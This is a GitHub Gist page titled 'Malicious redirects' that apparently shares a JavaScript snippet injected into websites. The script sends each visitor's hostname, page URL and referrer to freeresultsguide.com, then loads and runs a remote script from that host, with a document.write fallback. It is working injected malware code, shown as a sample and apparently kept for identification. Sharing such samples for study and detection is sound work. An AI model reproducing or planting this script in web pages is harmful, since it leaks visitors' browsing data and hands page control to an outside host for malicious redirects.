-
-
Save farhan4648gul/e5339bd821c84c08c16b2a1c6c6fb0ef to your computer and use it in GitHub Desktop.
Malicious redirects
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function() { | |
if(!window._skz_pid) | |
return; | |
try | |
{ | |
this._hlpr = function(){ | |
return { | |
url : "//freeresultsguide.com/sk-jspark.php?", | |
params : { | |
"dn":window.location.hostname, | |
"pid":window._skz_pid, | |
"kwrf": window.location, | |
"reqref":document.referrer | |
} | |
} | |
} | |
this._srptloc = function(){ | |
var data = this._hlpr(); | |
var query = data.url; | |
for (d in data.params) | |
query += encodeURIComponent(d) + "=" + encodeURIComponent(data.params[d]) + "&"; | |
return query.slice(0, -1); | |
} | |
this._script = function(_src,_id){ | |
try { | |
var _scrpt = document.createElement("script"); | |
_scrpt.src = _src; | |
_scrpt.id = _id; | |
document.getElementsByTagName("head")[0].appendChild(_scrpt); | |
return; | |
} catch(e){} | |
} | |
var url = this._srptloc(); | |
this._script(url); | |
} catch(e) | |
{ | |
_sknz_loc_ = "//freeresultsguide.com/sk-jspark.php?_jsprkderr_=1&dn="+encodeURIComponent(window.location.hostname)+"&pid="+encodeURIComponent(window._skz_pid)+"&kwrf="+encodeURIComponent(window.location)+"&reqref="+encodeURIComponent(document.referrer); | |
loc = "<scr"+"ipt "+"src=\"+_sknz_loc_+\"></sc"+"ript>"; | |
document.write(loc); | |
} | |
})(); /*28*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment